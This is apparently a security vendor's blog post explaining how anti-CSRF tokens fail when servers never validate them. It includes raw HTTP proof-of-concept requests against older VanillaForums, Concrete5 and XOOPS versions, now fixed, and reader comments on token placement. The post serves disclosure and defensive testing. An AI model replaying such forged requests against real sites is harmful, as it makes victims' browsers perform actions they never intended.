Do Your Anti-CSRF Tokens Really Protect Your Web Apps from CSRF Attacks?

Dingjie Yang

Last updated on: December 19, 2022

Cross-Site Request Forgery (CSRF) is an attack that tricks the victim’s browser into executing malicious requests designed by the attacker.  A successful CSRF attack can force the victim’s browser to perform state-changing requests like transferring funds or changing his email address. Clearly these are attacks that need to be prevented.

Less Common But Still a Threat

As awareness of CSRF has increased, protection has become a prerequisite for bringing web applications online. CSRF attacks were demoted to 8th most important in the OWASP TOP 10 of 2013 from 5th most important in the OWASP Top 10 of 2010, while the prevalence of CSRF vulnerabilities was reclassified from “widespread” to “common.” That is absolutely a good sign indicating web applications are more commonly implementing CSRF protection techniques, the most common being anti-CSRF tokens, which is resulting in lower overall risk.

As a webmaster, however, you should not assume that you are protected from CSRF attacks when you see anti-CSRF tokens used in your web applications. Coding / implementation errors like missing input validation in frameworks and cross-site scripting vulnerabilities in open source software are quite common and lead to vulnerable applications. And there is no exception for anti-CSRF measures — they are also susceptible to coding errors. Back in 2012, even Facebook suffered a CSRF attack because anti-CSRF tokens were not handled correctly on the server side.

New Examples of CSRF Vulnerabilities

In the real-world examples I discovered and describe at the end of this article, I show implementation errors in three popular open-source programs: VanillaForums, Concrete5 and Xoops. These errors can happen for many reasons: the web developers might not have implemented the anti-CSRF token correctly, or they weren’t thinking properly about security, or they commented out the CSRF protection code by mistake.

Anti-CSRF Tokens and How They Work

Among the CSRF prevention methods, the Synchronizer Token Pattern is both the recommended method and the most widely used prevention technique. From Internet powerhouses Google, Facebook and Twitter to popular open source web applications such as WordPress and Joomla, this pattern is the measure of choice for protecting against CSRF attacks. The synchronizer token pattern requires the generation of random “challenge” tokens (anti-CSRF tokens) that are associated with the user’s current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When users submit the form or make a request to the links, the anti-CSRF token should be included in the request. Then, the server application will verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request will be rejected.

How to Test Your Implementations

As always, you could do some manual tests in your web applications. You could employ a web application scanner as well, like Qualys Web Application Scanning, which will test whether the anti-CSRF token is sufficient to protect your web application against CSRF attack.

Besides that, you should do regular manual tests and/or scans against your web applications, because the developers might comment out the CSRF token validation code accidently when adding new features.

How Qualys WAS Tests CSRF Prevention Measures

Qualys Web Application Scanning makes use of its built-in behavioral analysis capabilities to test CSRF protection measures in web applications. It creates two separate sessions to the application, each with its own anti-CSRF token, and then sends the token from each client to the session associated with the other client, thereby simulating a CSRF attack. If the manipulated requests generate valid responses, then that indicates with high reliability that the CSRF protection measures are not working correctly. While the test is simple, there is value in the ability to automate testing of your CSRF prevention measures across your applications and as part of your regression testing cycle.


With no doubt, proper implementation of anti-CSRF tokens will protect your web applications.  Some pen testers are not actually testing the correctness of the implementation when they see anti-CSRF tokens deployed in the web application. Even some web scanners will determine the web application is not vulnerable once they have found anti-CSRF tokens in the page.  When implemented incorrectly, CSRF protection methods are ineffective even though anti-CSRF tokens were presented in the web pages, so it is best to always test your applications.

Real-World Examples: How I Got Started

I recently joined a bounty program with thousand of other pen testers to test a real commercial web application. After playing with it for a while, I found that several pages are vulnerable to CSRF attack even though they are deploying anti-CSRF tokens. After informing the company of the CSRF vulnerability, I got this reply:

“Great find, we removed our check csrf code somewhere along the line this month, will fix asap”

I was very surprised because thousands of pen testers are working on this issue and it was not found when the CSRF code validation method was not implemented properly. My only guess is that, some pen testers were just giving up testing for CSRF vulnerability when they saw the appearance of anti-CSRF tokens in the web application.

This inspired me, and I installed some popular open source web applications in our test labs at Qualys to check whether incorrect anti-CSRF implementation is a common mistake in web applications.

Without spending too much time on it, I found three popular open source web applications, VanillaForum, Concrete5 and Xoops. All three of these applications have now fixed their code.

Example 1: VanillaForums

VanillaForums is an open source lightweight Internet forum, and almost one million websites are using this software.

Proof of Concept:

POST /vanilla/index.php?p=/post/discussion HTTP/1.1 Host: yourhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 142 Cookie: SESSf26dbb6f3fc972fa7bfcc3ad8c504095=it9hgOcpwKOKRFTOLZXvEG9cQxHYtUqnH5HLD6AX_n4; Vanilla-tk=a413d1b19d9bbd23; Vanilla=1-1419475933%7C26bdeded069c7992567cacc38c93b05b%7C1416883933%7C1%7C1419475933; Vanilla-Volatile=1-1417056733%7Cb827ecae6a39f5fe622dfb184d2174ff%7C1416883933%7C1%7C1417056733; Vanilla-Vv=1416883953 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=&DraftID=0&CategoryID=1&Name=TestCSRF&Body=TestCSRF&Format=Html&Announce=1&DeliveryType=VIEW&Post_Discussion=Post Discussion

Anti-CSRF token TransientKey is used to protect against CSRF attacks. However, the server side does not do any validation on this token, which will allow an attacker to trigger the administrator to post as many discussions as he wants.

After filing this bug to the developer team of vanilla forum, I got the following response:

“Hi Daniel, looks like I did miss that one in the 2.1.5 release. I’ll get a patch ready for the next one.”

This is fixed in version 2.1.7.

Example 2: Concrete 5

Concrete 5 is an open source content management system. According to its website, it is used on more than half a million websites.

Proof of Concept:

POST /concrete5.7.0.4/index.php/ccm/system/panels/details/page/composer/publish?ccm_token=1414444654:c175d35c064a9d4ac0ab301193a4c660&cID=175 HTTP/1.1Host: yourhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0Accept: application/json, text/javascript, /; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 562Cookie: ConcreteSitemap-active=; ConcreteSitemap-focus=; ConcreteSitemap-expand=; ConcreteSitemap-select=; ccm-sitemap-selector-tab=sitemap; CONCRETE5=7uik2epeijsn5cq991rqp87ds1Connection: keep-alivePragma: no-cacheCache-Control: no-cache Data: ptComposer%5B13%5D%5Bname%5D=CSRF&ptComposer%5B14%5D%5Bdate_time_dt%5D=2014-10-22&ptComposer%5B14%5D%5Bdate_time_h%5D=8&ptComposer%5B14%5D%5Bdate_time_m%5D=22&ptComposer%5B14%5D%5Bdate_time_a%5D=PM&akID%5B19%5D%5Bvalue%5D=San+Francico&akID%5B18%5D%5BatSelectOptionID%5D%5B%5D=&ptComposer%5B17%5D%5Bdescription%5D=San+Francico&ptComposer%5B18%5D%5Bcontent%5D=%3Cp%3ESan+Francico

As you could find, it is using an anti-CSRF token ccm_token in the URL to protect against CSRF attacks. But the request will go through even without submitting a valid ccm_token because the server side is not validating it. That was the response from the concrete5 team after I sent them my findings:

“Most likely, we forgot to check that it is valid somewhere”

This is fixed in version

Example 3: XOOPS

XOOPS is another open source content management system and it has won several awards according to the statement in wiki. Similar to Concrete5, it is using anti-CSRF tokens to protect against CSRF attacks. However, it also fails to validate the anti-CSRF token on the server side.

Proof of Concept:

POST /phpTargets/xoops_2_5_7/htdocs/pmlite.php HTTP/1.1 Host: yourhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Cookie: PHPSESSID=geg8jsmfai42rf3o1hlpgg6fn2; xoops_user54611943=0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 129 Data: to_userid=1&subject=CSRF&icon=icon1.gif&message=CSRF&op=submit&XOOPS_TOKEN_REQUEST=9eb7cdce0d30de2cc972da7a15198f82&submit=Submit

Parameter XOOPS_TOKEN_REQUEST is used as an anti-CSRF token to protect against CSRF attacks. But the request could be sent successfully without the existence of this parameter.

This is fixed in version

Show Comments (6)


Your email address will not be published. Required fields are marked *

  1. Hi Rakesh,

    I have never used mod_auth_ticket module during developing my own web application. By giving a glance of mod_auth_ticket, I could not find how mod_auth_ticket could be used to combat CSRF attack.

    In general, CSRF token is sufficient to fight against CSRF attack if the implementation is correct.


  2. Hi Danial,

    Nice writeup! my question, is it acceptable to implement csrf token and make it visible in the URL request like what Concrete 5 CMS have done referring to it POST request in your article above?

    As per this advisory regarding “Session id in URL” stating that:

    Sensitive information such as Session token within URLs may be logged in various locations, including the user’s browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker. Applications should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

    Referring to the advisory above, I believe the csrf token should also be treat the same way as session id accordingly, should also be assign in the Cookie header specifically for every GET method.


    GET /concrete5.7.0.4/index.php?cID=175 HTTP/1.1

    Cookie: PHPSESSID=; CSRFToken=

    Using a per-request csrf token (unique, random and unpredictable for each request) that be assign together with the session id in the cookie header is necessary for every GET request and both should be validate accordingly in the server side. While csrf token in the hidden field in form using POST method is better remain that way. This will prevent CSRF attack without disclosing the csrf token.

    Agree ?

  3. Hi,

    Thanks for your feedback and that is a good point. I agree with you. CSRF token is considered as sensitive information and it could be leaked under several places by putting them into the GET URL. By practice , I would not suggest to add CSRF token in URL.

    Regarding putting CSRFToken in the Cookie Header for a GET request as a countermeasure for CSRF, I don’t think it will mitigate any CSRF attack when GET request send . Form example, you want to make the following Get request, where CSRF token is included in the Cookie header.

    GET /concrete5.7.0.4/index.php?cID=175&action=delete HTTP/1.1
    Host: yourdomain

    Cookie: PHPSESSID=; CSRFToken=a1dec2wecisewdse

    Now, considering the following scenarios
    Step 1: An attacker trigger you to click a link https://yourdomain/concrete5.7.0.4/index.php?cID=175&action=delete
    Step 2: You clicked the link under your browser when you are still logged in.
    Step 3: By clicking the link, you would have contribute a valid request because you are sending valid CSRFTokens along with the GET request as the CSRFToken is stored in your current cookie header.

    Does it make sense to you? I would suggest to use POST request to replace GET request when sensitive information is transferred.


  4. When I was thinking about protections for CSRF attacks and even without searching for this matter, I ended up thinking myself about a great way: having a one-time token passed on HTML and put on forms/requests. I later started thinking it deeply and just wondered. Wait a moment, if the attacker can make any CSRF attack on sensitive information, it is because the browser is still allowing him to use the user’s sensitive cookies (session id cookies or others) from the untrusted site.

    So, if that’s true, a one-time token will not prevent the attacker to make successful POST requests because the attacker can simply make a GET request by using the sensitive cookies and he will get a token himself, allowing him to do a following POST request using that token which should succeed.

    Am I seeing something wrong or does this have some logic?

    CSRF can be effectively prevented on modern and updated browsers if web applications are using a SameSite=strict cookie policy on their SESSIONID cookies or on their login credentials cookies or any other sensitive cookies.

    1. I had the exact same question. If there’s no anti-CSRF token, I do a POST directly. But if there’s an anti-CSRF token on the form, I need to do a GET first to get a good token and use that token to construct my next POST. But this theory of using anti-CSRF tokens is recommended everywhere, I feel like I missed something